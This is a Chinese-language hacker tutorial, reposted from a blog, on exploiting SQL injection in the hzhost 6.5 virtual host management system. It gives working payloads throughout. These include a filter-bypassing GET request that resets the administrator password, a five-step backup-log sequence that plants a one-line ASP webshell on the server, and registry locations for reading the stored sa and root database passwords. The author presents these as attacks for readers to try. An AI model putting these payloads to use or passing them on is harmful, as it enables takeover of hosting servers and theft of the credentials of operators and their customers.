再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞3
作者:叉叉兵
這次繼續爆hzhost6.5虛擬主機管理系統的SQL注入漏洞。
只講兩個要點。
第一,如何拿網站管理員權限。
第二,如何備份木馬。
這次不是簡單的注射點,而是經過安全函數過濾的了點。由于對方沒有將變量用單引號包起來,而過濾函數又未過濾完全,導致我們有機會進行注射。
我這次還做了個動畫。一并發放。希望能讓大家玩得”happy”!哈哈。。。
http://www.xxbing.com QQ178737315
漏洞存在于hzhosthzhost_mastercontrolot2_mngot2_lst.asp文件中!
Code-------------------------13-15行----------------------------??
querytype=SafeRequest("querytype")??//saferequest函數接受數據??
if?chk_int(querytype)=false?then??//檢查是否是整數??
???ErrMsg="<font?color=#ff0000>對不起</font>,非法操作!"?
-------------------------37-42行---------------------------??
elseif?querytype=5?then?//如果類型為5。就接受qu1數據!??
??qu1=trim(SafeRequest("qu1"))??????//saferequest函數接受數據,他自己定義的saferequest函數!??
????
???if??qu1=""?then??//不能為空??
????????call?errorpage(-2,"對不起,請選擇參數!")??
??end?if???????????
?????qstring="?and?s_regstt="&qu1&"?"??//這里是關鍵??qu1沒有用單引號包圍,雖然用了saferequest,但是我們可以繞過!??
-------------------------62-65行---------------------------??
qu7=trim(SafeRequest("qu7"))?//saferequest函數接受數據??
if?qu7<>""?then?
qstring2="?and?u_nme='"&qu7&"'"?//這里被單引號包圍了。??這里被包圍了,所以這里成了死點!!??
end?if???
--------------------------117行-----------------------------??
query="select?*?from?v_ot2lst?where??(s_unme='"&session("usrname")&"'?or?u_fatstr?like?'%,"&session("usrname")&",%')????"&qstring&qstring2&"??order?by?"&orderstring???
//到這里就丟進去查詢了!?
?
來看看saferequest()函數。
Code------------------incs/config.asp中-------------------------??
Function?SafeRequest(ParaName)???
Dim?ParaValue???
ParaValue=Request(ParaName)??//獲取數據??
if?IsNumeric(ParaValue)??then??//如果是數字??
SafeRequest=ParaValue??//那就不過濾,直接賦值??
exit?Function?
?
else?
ParaValuetemp=lcase(ParaValue)????//如果不是數字,先把接到的數據全部轉為小寫??
tempvalue="select?|insert?|delete?from|'|count(|drop?table|update?|truncate??|asc(|mid(|char(|xp_cmdshell|exec?master|net?localgroup?administrators|net?user|?or?|?and?|%20from"?
//定義要過濾的字符!??
?
他過濾方式有問題。。。沒有過濾?*?/?%?/?--?/?;??
而且他過濾的都是select+空格。我們用select%09或者select/**/便能饒過。??
?
temps=split(tempvalue,"|")???????????//轉為一維數組??
for?mycount=0?to?ubound(temps)???????//循環讀數組內數據??
if??Instr(ParaValuetemp,temps(mycount))?>?0?then???//判斷用戶提交的數據是否包含了?非法字符。??
????????????????call?errorpage(-2,"非法請求!!!")??//如果有則彈出提示!!??
????????????????response.end?
end?if??
next?
SafeRequest=ParaValue??
end?if??
End?function?
-------------------------------------?
?
所以我們構造注射點的思路就是:不能出現單引號,update,select等等兩邊都要用%09(tab)..仔細看清楚。上面過濾的是update+空格。select+空格。
先給出查詢語句的框架。
select?*?from?v_ot2lst?where??(s_unme='username'?or?u_fatstr?like?'%,username,%')?and?s_regstt={我們的語句}?and?u_nme='1'?order?by?s_addtme?desc?
?
為了使語句順利執行:
我們還要閉合后面的語句。我沒有選擇注釋掉 and u_nme=’1′ order by s_addtme desc而是閉合他,是因為注釋后,實際查詢出錯了。
這里我給出條示范語句,即{我們的語句}
UPDATE%09[memlst]?SET?u_pss=0x6531306164633339343962613539616262653536653035376632306638383365?WHERE?u_nme=0x61646D696E?
?
這條語句能夠繞過saferequest函數的檢測。沒有出現單引號。
我們提交:
http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1;UPDATE%09[memlst]?SET?u_pss=0x6531306164633339343962613539616262653536653035376632306638383365?WHERE?u_nme=0x61646D696E;select%09*%09from%09v_ot2lst?where?s_regstt=1;select%09*%09from%09v_ot2lst?where?s_regstt=1?
?
這句話就能夠將admin的密碼修改成123456
到此第一個目的就達到了。如果admin不是超級管理員。那么請看《HZHOST域名虛擬主機管理系統sql注射漏洞》中所提到的方法。相關語句請自己轉換。
第二步是要備份掛馬。
大家看動畫中的備馬這么簡單,當初難了我老半天。saferequest過濾了char(
導致備馬的這條語句失敗。
有人給我建議改成 @s ntext 等等,換類型都不行。因為我們插入的一句話木馬已經固定了數據類型。。
由于mssql的寬松性。我把varchar(40000)中加了個空格。并把空格替換成%09成為 varchar%09(4000),也是可以的。這樣我們就饒過了char(
接下來放出詳細語句。大家放入{我們的語句中}
第?一?步:??
create?table?[dbo].[shit_tmp]?([cmd]?[image])--??
第?二?步??
declare?@a?sysname,@s?nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500?backup?log?@a?to?disk?=?@s?with?init,no_truncate--??
第?三?步??
insert%09into%09[shit_tmp](cmd)?values(0x3C25657865637574652872657175657374282261222929253E)--??
第?四?步??
declare?@a?sysname,@s?nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000?backup?log?@a?to?disk=@s--??
第?五?步??
Drop?table?[shit_tmp]--?
?
上面5句語句是在d:/hzhost/hzhost_master/下生成一個1.asp。里面包含了一個密碼為a的一句話木馬。
一般來說,我們就能拿到webshell. 至于拿webshell后,如何取得系統權限。
請看《對HZHOST域名虛擬主機管理系統sql注射漏洞進一步利用!》
最后是答疑部分:
1:這次是get注射,不像上次是post注射。由于沒有文本框字符的限制,所以不需要保存網頁到本地。
2:123456的md5(32)值為e10adc3949ba59abbe56e057f20f883e 用mssql 16進制轉換后,成為
Code0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500 ?
這是轉為nvarchar型的,我們直接更新這個值。會導致被更新用戶的密碼為亂碼。所以我們要轉成varchar型的。即:
0×6531306164633339343962613539616262653536653035376632306638383365
大家仔細觀察,會發現,其實只是去掉了一些00。。
所以大家在轉換其他md5的時候,注意此問題。
3:讀sa密碼,root密碼。我們讀的是加密了的。還原必須在本機,每臺hzhost主機都有自己的密鑰,密鑰參與到加密過程。這是導致A主機不能還原B主機密碼的原因。
另 hzhost虛擬主機平臺的所有dll文件。還有一些注冊表值我都已取得。有會逆向分析的高手,能做出還原密碼程序的高手請聯系我。我很希望把他的加密方式弄出來。
4:備馬的問題,備份成功后,可能出現亂碼,是由于截斷了的原因,大家用NBSI3。去掉2個截斷的勾,再生成語句執行就行了。
有的服務器可能在備馬的過程中出現SQL過期,超時。遇到這樣的是對方數據庫很大,這我也沒辦法。我沒能找出一個比較好的解決方案。大家自己研究吧。
5:hzhost其實不只這一個注射點,沒被單引號包圍的變量還有一些。大家自己去找吧。我只是拿出一個來分析。
6:sa密碼。root密碼。
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettings
mysqlpass—root密碼
mssqlpss—-sa密碼
7.如果路徑不在D:/hzhost
那么就是你人品問題!進后臺找找普通用戶FTP/web的路徑,也許會有些用。
或者去讀注冊表。
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettings 下
“wwwrootpath”=”e:\wwwroot”
“urlsiteroot”=”D:\hzhost\hzhost_url”
“ftprootpath”=”e:\ftproot” 可以看出什么? 絕對路徑放在注冊表中。把注冊表中的值更新到某個字段,再去讀就行了。(比如用戶e-mail中。。)
大家自己去試。我沒有碰到不在D盤的hzhost.。只是個思路!
?
轉載于:https://www.cnblogs.com/liuyes/archive/2009/01/13/1374977.html
總結
以上是生活随笔為你收集整理的再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞3的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 5G移动通信技术基本介绍(附92页PDF
- 下一篇: linux firefox 插件开发教程